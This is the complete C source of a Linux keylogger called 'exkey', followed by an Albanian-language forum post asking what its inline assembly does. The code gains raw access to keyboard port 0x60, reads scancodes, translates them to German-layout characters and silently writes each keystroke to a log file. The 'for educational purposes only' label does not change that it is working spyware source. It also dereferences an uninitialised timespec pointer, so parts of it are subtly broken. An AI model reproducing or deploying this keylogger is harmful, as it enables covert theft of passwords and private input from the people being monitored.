/* *
* exkey - excluded keylogger *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation. *
* *
* For educational purposes only. *
* *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* Written by: FuSi *
* VERSION 0.0a <fusi@excluded.org> *
* <www.excluded.org> *
* / close your eyes & dream with me / *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* *
* */
#include<sys/types.h>
#include<fcntl.h>
#include<stdio.h>
#include<time.h>
#define kp 0x60
int main(int argc,char **argv){
int fd;
int prm=0,dm=0;
struct timespec *ts;
if(argc < 2){
fprintf(stderr,"exkey - excluded keylogger\nwritten by FuSi (fusi@excluded.org)\nversion 0.0a\n\nJust type: ./exkey <logfile>\n");
exit(1);}
if((fd = open(argv[1],O_CREAT|O_WRONLY|O_TRUNC)) == -1){
perror("open()");
exit(1);}
asm("int $0x80;": :"a"(101),"b"(kp),"c"(1),"d"(1));
ts->tv_nsec = 20;
ts->tv_sec = 0;
while(1){
dm = prm;
asm("inb %%dx,%%al;":"=a"(prm):"a"(0),"d"(kp));
switch(prm){
case(2) : prm ='1' ;break;case(3) : prm ='2';break;
case(4) : prm ='3' ;break;case(5) : prm ='4';break;
case(6) : prm ='5' ;break;case(7) : prm ='6';break;
case(8) : prm ='7' ;break;case(9) : prm ='8';break;
case(10) : prm ='9' ;break;case(11) : prm ='0';break;
case(12) : prm ='ß' ;break;case(13) : prm ='´';break;
case(14) : prm ='\b';break;case(16) : prm ='q';break;
case(17) : prm ='w' ;break;case(18) : prm ='e';break;
case(19) : prm ='r' ;break;case(20) : prm ='t';break;
case(21) : prm ='z' ;break;case(22) : prm ='u';break;
case(23) : prm ='i' ;break;case(24) : prm ='o';break;
case(25) : prm ='p' ;break;case(26) : prm ='ü';break;
case(27) : prm ='+' ;break;case(28) : prm ='\n';break;
case(30) : prm ='a' ;break;case(31) : prm ='s';break;
case(32) : prm ='d' ;break;case(33) : prm ='f';break;
case(34) : prm ='g' ;break;case(35) : prm ='h';break;
case(36) : prm ='j' ;break;case(37) : prm ='k';break;
case(38) : prm ='l' ;break;case(39) : prm ='ö';break;
case(40) : prm =39 ;break;case(41) : prm =96 ;break;
case(43) : prm =92 ;break;case(44) : prm ='y';break;
case(45) : prm ='x' ;break;case(46) : prm ='c';break;
case(47) : prm ='v' ;break;case(48) : prm ='b';break;
case(49) : prm ='n' ;break;case(50) : prm ='m';break;
case(51) : prm =180 ;break;case(52) : prm =46 ;break;
case(53) : prm ='-' ;break;case(57) : prm =32 ;break;
default : prm =0 ;break;}
if(prm != dm)
write(fd,&prm,1);
asm("int $0x80"::"a"(162),"b"(ts),"c"(0));}
close(fd);}

Pjesen me te madhe te ketij kodi e kuptoj pervec kodit asm() pra pjeses ne assembler edhe se di pak nga ajo gjuhe ketu as qe po e marr vesh.Pra pak a shum therritet nje int nje funksion ose call, por cfar funksioni ka? Hajt pra ta diskutojme..